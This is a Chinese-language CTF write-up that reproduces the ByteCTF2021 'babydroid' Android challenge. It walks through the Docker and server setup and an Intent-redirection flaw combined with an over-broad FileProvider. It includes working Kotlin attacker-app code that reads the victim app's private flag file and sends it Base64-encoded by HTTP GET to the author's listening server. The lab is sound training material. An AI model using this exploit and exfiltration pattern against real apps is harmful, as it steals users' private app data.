前言
之前接触的ctf都是字段分析类型的,这是我第一次见到需要部署环境的安卓ctf题目,也是第一次接触到docker和fastapi,写一篇文章纪念一下
理清题目用意
官方wp,里面包含题目原件。
ByteCTF2021 writeup for Android challenges - 飞书云文档https://ai.feishu.cn/docs/doccndYygIwisrk0FGKnKvE0Jhg
官方wp介绍了题目的整体攻击流程
理清题目的部署和运行环境是后续解题的必要条件,也可以避免少走弯路。运行环境还原了正手机上安装恶意应用(后称Attacker App)后,本地环境下利用其他应用(后称Vuler App)中存在的安卓漏洞,窃取Vuler App的敏感信息,或者以Vuler App进程权限执行任意命令,即LCE 。这里的两个app均为普通应用、不具备root、shell等特殊权限。
有点懵,看一下提供的附件
分析run.sh
run.sh根据提供的DockerFile,创建一个docker容器,容器名称为babydroid 每次运行脚本时,容器都会删除并且重建
## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at## https://www.apache.org/licenses/LICENSE-2.0## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.# See the License for the specific language governing permissions and# limitations under the License.docker build -t babydroid -f Dockerfile . || exit 1docker stop babydroid 2> /dev/nulldocker rm babydroid 2> /dev/nulldocker run -d --name babydroid -it -p 30001:1337 --privileged -v /dev/kvm:/dev/kvm babydroid || exit 1echo -e "\nServer is running on localhost:30001"# */20 * * * * cd /root/src_babydroid; ./run.sh# Resetting every 20 minutes, this may cause disconnection, please pay attention to the time to solve the problem
分析dockerfile
dockerfile的目的是创建一个android系统的隔离环境。
这段代码使用ubuntu20.04作为基础系统,创建一个uid为1000的user。接着安装好安卓依赖以及配置环境变量。
然后是权限管理:Dockerfile将当前目录下的flag , server.py, app-debug.apk移动到babydroid容器中的challenge里,并且为这些文件设置权限
FROM ubuntu:20.04RUN /usr/sbin/useradd --no-create-home -u 1000 userRUNset -e -x; \ apt update -y; \ apt upgrade -y; \ apt install -y software-properties-common; \ apt install -y openjdk-17-jdk; \ apt install -y unzip wget socat; \ apt install -y cpu-checker qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virtinst virt-manager;RUNset -e -x; \ wget https://dl.google.com/android/repository/commandlinetools-linux-6514223_latest.zip -O commandlinetools.zip; \ mkdir -p /opt/android/sdk/cmdline-tools; \ unzip commandlinetools.zip; \ mv tools /opt/android/sdk/cmdline-tools/latest; \ rm commandlinetools.zip;ENV PATH "/opt/android/sdk/cmdline-tools/latest/bin:${PATH}"ENV ANDROID_SDK_ROOT "/opt/android/sdk"RUNset -e -x; \ yes | sdkmanager --install \"cmdline-tools;latest" \"platform-tools" \"build-tools;30.0.0" \"platforms;android-30" \"system-images;android-30;google_apis;x86_64" \"emulator";RUN sdkmanager --update;ENV PATH "/opt/android/sdk/emulator:${PATH}"ENV PATH "/opt/android/sdk/platform-tools:${PATH}"ENV PATH "/opt/android/sdk/build-tools/30.0.0:${PATH}"COPY flag server.py app-debug.apk /challenge/RUN chmod 755 /challenge/server.pyRUN chmod 644 /challenge/app-debug.apk /challenge/flagRUN mkdir /home/user/RUN chmod 755 /home/user/
然后就到了核心部分:dockerfile对本地的1337端口进行监听,对于每一个新建的连接,执行server.py脚本
CMD chmod 0777 /dev/kvm && \ socat \ TCP-LISTEN:1337,reuseaddr,fork \ EXEC:"/bin/timeout 300 /challenge/server.py"
也就是说,执行run.sh并不会直接运行server.py,run.sh只是在本机的1337端口开启一个监听,只有连接到这个端口才会执行server.py。 我们可以使用nc,telent等工具连接到这个端口(有点做pwn题目的感觉了)
分析server.py
分析一下这个脚本到底干了什么
首先依然是配置环境
random_hex = lambda x: ''.join([random.choice('0123456789abcdef') for _ in range(x)])difficulty = 6ADB_PORT = int(random.random() * 60000 + 5000)EMULATOR_PORT = ADB_PORT + 1EXPLOIT_TIME_SECS = 30APK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "app-debug.apk")FLAG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "flag")HOME = "/home/user"VULER = "com.bytectf.babydroid"ATTACKER = "com.bytectf.pwnbabydroid"ENV = {}ENV.update(os.environ)ENV.update({"ANDROID_ADB_SERVER_PORT": "{}".format(ADB_PORT),"ANDROID_SERIAL": "emulator-{}".format(EMULATOR_PORT),"ANDROID_SDK_ROOT": "/opt/android/sdk","ANDROID_SDK_HOME": HOME,"ANDROID_PREFS_ROOT": HOME,"ANDROID_EMULATOR_HOME": HOME + "/.android","ANDROID_AVD_HOME": HOME + "/.android/avd","JAVA_HOME": "/usr/lib/jvm/java-17-openjdk-amd64","PATH": "/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:" + os.environ.get("PATH", "")})
之后要求用户在终端输入proof,使sha256((prefix+proof).encode()).hexdigest().startswith(difficulty*"0") == True。这一步是为了降低主办方服务器的负荷。但是我们现在只是复现题目,所以这部分可以删除。
defproof_of_work(): prefix = random_hex(6) print_to_user(f'Question: sha256(("{prefix}"+"xxxx").encode()).hexdigest().startswith("{difficulty*"0"}")') print_to_user(f'Please enter xxxx to satisfy the above conditions:') proof = sys.stdin.readline().strip()return sha256((prefix+proof).encode()).hexdigest().startswith(difficulty*"0") == True
然后用户需要在终端输入Attacker App的地址,server.py会利用request访问url并下载此APK
print_to_user("Please enter your apk url:")url = sys.stdin.readline().strip()EXP_FILE = download_file(url)ifnot check_apk(EXP_FILE): print_to_user("Invalid apk file.\n") exit(-1)
执行结束后,Attack App被下载到docker部署的ubuntu20.04里。接下来需要利用adb,与ubuntu里的安卓虚拟机emulator进行交互。
adb_install(APK_FILE)adb_activity(f"{VULER}/.MainActivity", wait=True)with open(FLAG_FILE, "r") as f: adb_broadcast(f"com.bytectf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})time.sleep(3)adb_install(EXP_FILE)adb_activity(f"{ATTACKER}/.MainActivity")
上面的代码含义分别是:
- adb利用广播发送flag。Vuler APP编写了相关代码接受广播,并且放在程序内部文件中,正常情况下其他应用程序访问不了这个文件。
我们的目标就是设计出Attacker App,得到文件的访问权限,从而得到flag。不过在此之前,先分析一下Attacker App的功能
分析Vuler APP
接受广播
FlagReceiver继承了广播接收者,用于接收传入的flag。
publicclassFlagReceiverextendsBroadcastReceiver{@Override// android.content.BroadcastReceiverpublicvoidonReceive(Context context, Intent intent){ String s = intent.getStringExtra("flag");if(s != null) {this.writeFile(new File(context.getFilesDir(), "flag"), s); Log.e("FlagReceiver", "received flag."); } }
接收到flag后,这个类将会调用writeFile方法,将flag放入context.getFilesDir()/flag文件里。getFilesDir()方法用于返回一个File文件,表示程序的内部存储目录,通常为/data/data/<package_name>/files/
漏洞分析
在Vuler App下,有一个继承了Activity的Vulnerable Activity
publicclassVulnerableextendsActivity{@Override// android.app.ActivityprotectedvoidonCreate(Bundle savedInstanceState){super.onCreate(savedInstanceState);this.startActivity(((Intent)this.getIntent().getParcelableExtra("intent"))); }}
函数的功能很简单,不过在此之前先介绍一下intent。intent对象是component用来与操作系统通信的一种媒介工具。component包括activity、service、broadcast receiver以及content provider,也就是安卓四大组件。
intent介绍
如何使用intent完成acitivity的跳转?一般我们会这样写
cheatButton.setOnClickListener {// Start CheatActivityval intent = Intent(this, CheatActivity::class.java) startActivity(intent)}
在上面的代码为按下cheatButton设置了一个监听:用户在按下按钮的时候,会跳转到CheatActivity中。
也就是下面的流程:页面会从cheatButton所在的某一个Activity跳转到CheatActivity
intentxxxActivity ------------------> CheatActivity
intent重转发漏洞
回到题目里面的代码
this.startActivity(((Intent)this.getIntent().getParcelableExtra("intent")));
this.getIntent()得到的是该Activity的”来时路“:即系统通过某一个Intent,跳转到此Activity中。getParcelableExtra("intent")表示代码会对这个Intent携带的数据intent进行序列化。因为没有对数据进行验证,所以这里存在Intent重定向漏洞。
通过FileProvider实现文件任意读写
在androidManifest.xml中,能够看到FileProvider的相关配置
<providerandroid:authorities="androidx.core.content.FileProvider"android:exported="false"android:grantUriPermissions="true"android:name="androidx.core.content.FileProvider"><meta-dataandroid:name="android.support.FILE_PROVIDER_PATHS"android:resource="@xml/file_paths"/></provider>
对应的file_paths xml文件如下
<?xml version="1.0" encoding="UTF-8"?><pathsxmlns:android="http://schemas.android.com/apk/res/android"><root-pathname="root"path=""/></paths>
发现path=""为空,表示可以访问模拟器下的所有文件。但是能访问路径还不够,需要目标app开启grantUriPermissions权限才可以。
可以发现,目标app的android:grantUriPermissions="true"。此时被攻击APP能够授予攻击者暂时的权限来读取文件
publicstaticfinalint FLAG_GRANT_READ_URI_PERMISSION = 0x00000001;publicstaticfinalint FLAG_GRANT_WRITE_URI_PERMISSION = 0x00000002;
- FLAG_GRANT_READ_URI_PERMISSION:允许接收者读取 URI 的内容,即读取 URI 的数据,并在权限授予期间保持该权限。
- FLAG_GRANT_WRITE_URI_PERMISSION:允许接收者写入 URI 的内容,即修改 URI 的数据,并在权限授予期间保持该权限。
一些问题
VlunActivity没有添加export:true属性,为什么attcker app可以使用intent直接跳转到这个activity里?这是因为android11默认添加了<intent-filter>的activity可以导出。
docker安装
配置环境:ubuntu24.04CPU开启虚拟化
官网:https://docs.docker.com/engine/install/
下载docker Engine
# Add Docker's official GPG key:sudo apt updatesudo apt install ca-certificates curlsudo install -m 0755 -d /etc/apt/keyringssudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg -o /etc/apt/keyrings/docker.ascsudo chmod a+r /etc/apt/keyrings/docker.asc# Add the repository to Apt sources:sudo tee /etc/apt/sources.list.d/docker.sources <<EOFTypes: debURIs: https://download.docker.com/linux/ubuntuSuites: $(. /etc/os-release && echo"${UBUNTU_CODENAME:-$VERSION_CODENAME}")Components: stableSigned-By: /etc/apt/keyrings/docker.ascEOFsudo apt update
sudo apt install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin
sudo docker run hello-world
配置国内镜像
搭建环境的时候报错
sudo bash run.sh[+] Building 5.5s (2/2) FINISHED docker:default => [internal] load build definition from Dockerfile 0.0s => => transferring dockerfile: 2.08kB 0.0s => ERROR [internal] load metadata for docker.io/library/ubuntu:20.04 5.4s------ > [internal] load metadata for docker.io/library/ubuntu:20.04:------Dockerfile:15-------------------- 13 | # limitations under the License. 14 | 15 | >>> FROM ubuntu:20.04 16 | 17 | RUN /usr/sbin/useradd --no-create-home -u 1000 user--------------------ERROR: failed to build: failed to solve: ubuntu:20.04: failed to resolve source metadata for docker.io/library/ubuntu:20.04: unable to fetch descriptor (sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214) which reports content size of zero: invalid argument
这时候一般是因为访问不了docker hub,需要配置国内源
sudo vim /etc/docker/daemon.json,输入国内镜像源地址
{"registry-mirrors": ["https://docker.1ms.run" ]}
服务器搭建
搭建服务器的py脚本参考这个文章Android Security学习之ByteCTF2021_mobile 环境搭建+前两道题Writeup-先知社区:https://xz.aliyun.com/news/16393
要复现整个流程,依然需要搭建一个服务器,原因如下
- 在
server.py中,用户需要输入一个url链接,让脚本能够根据这个url链接下载attcker app - 攻击结束之后,attack app得到flag。 由于我们在没有图形化界面的安卓模拟器中运行攻击流程,所以没办法做到将flag打印到图形化界面上。可以将flag直接发送到服务器上,就能在终端直接阅读
这一步我打算使用fastapi,官网有相关教程
手动运行服务器 - FastAPIhttps://fastapi.docslib.dev/deployment/manually/
写一段代码验证一下能不能正常访问。
@app.get("/") asyncdefroot(msg: str):return {"message": msg}
curl http://192.168.98.116:8000?msg=1# {"message":"1"}
物理机也成功回显。
INFO Uvicorn running on http://0.0.0.0:8000 (Press CTRL+C to quit) INFO 192.168.98.126:42290 - "GET /?msg=1 HTTP/1.1" 200
确认虚拟机可以访问这个路径之后,接下来就可以继续编写python文件
import os from fastapi import FastAPI, Path, HTTPException from starlette.responses import FileResponse app = FastAPI() # @app.get("/") # async def root(): # return {"message": "Hello World"} @app.get("/") asyncdefroot(msg: str):return {"message": msg} # 配置下载目录(建议使用绝对路径) DOWNLOAD_FOLDER = "D:\\practice_code\\android\\pwnbabydroid\\app\\build\\outputs\\apk\\debug"@app.get("/download/{filename}") asyncdefdownload_file(filename: str = Path(..., description="Name of the file to download")): file_path = os.path.join(DOWNLOAD_FOLDER, filename) # 检查文件是否存在且是文件(防止路径遍历) ifnot os.path.isfile(file_path): raise HTTPException(status_code=404, detail="File not found") # 返回文件作为附件(浏览器会下载而非打开) return FileResponse( path=file_path, filename=filename, # 这会设置 Content-Disposition: attachment; filename=... media_type='application/octet-stream' )
attacker apk编译
让ai帮忙写了wp的kotlin版本:
classMainActivity : ComponentActivity() { overridefunonCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) val action = intent.action if(action != "evil"){ val evil = Intent("evil").apply { setClass(this@MainActivity,MainActivity::class.java) data = "content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag".toUri() addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION or Intent.FLAG_GRANT_WRITE_URI_PERMISSION) } val intent = Intent().apply { putExtra("intent",evil) setClassName("com.bytectf.babydroid","com.bytectf.babydroid.Vulnerable") } startActivity(intent); }else { val inputStream = contentResolver.openInputStream(intent.data!!) val text = inputStream?.use { it.bufferedReader().readText() } ?: ""val encoded = Base64.encodeToString(text.toByteArray(Charsets.UTF_8), Base64.DEFAULT).replace("\n", "") httpGet(encoded) } } privatefunhttpGet(msg: String) { Thread { var connection: HttpURLConnection? = nulltry { val url = URL("http://192.168.101.116:8000/?msg=$msg") connection = url.openConnection() as HttpURLConnection connection.requestMethod = "GET" connection.inputStream.use { it.readBytes() } } catch (e: IOException) { e.printStackTrace() } finally { connection?.disconnect() } }.start() } }
修改androidmanifest,添加网络请求和http请求权限
<uses-permissionandroid:name="android.permission.INTERNET" /><applicationandroid:allowBackup="true"android:dataExtractionRules="@xml/data_extraction_rules"android:fullBackupContent="@xml/backup_rules"android:icon="@mipmap/ic_launcher"android:label="@string/app_name"android:roundIcon="@mipmap/ic_launcher_round"android:supportsRtl="true"android:theme="@style/Theme.Pwnbabydroid"android:usesCleartextTraffic="true"
按照下图,点击生成APK
生成的apk会在app-》build-》outputs-》apk-》debug目录下
攻击
写了这么多准备,终于开始攻击了。
- 运行fast api服务器
fastapi run - 运行题目提供的docker容器
sudo bash run.sh
问题出现了:程序一直卡在这里。我尝试增加程序运行时间,发现二十分钟过去了,依然卡在这里
Preparing android emulator. This may takes about 2 minutes...
真机攻击
模拟器不行,那就使用真机完成攻击
环境:pixel3
复现步骤
- 手机下载好Vluer app 和Attacker App
> adb shell> su> am broadcast -W -a com.bytectf.SET_FLAG -n com.bytectf.babydroid/.FlagReceiver -e flag "BTYECTF{gaunzhu_xiaoy_xxm}"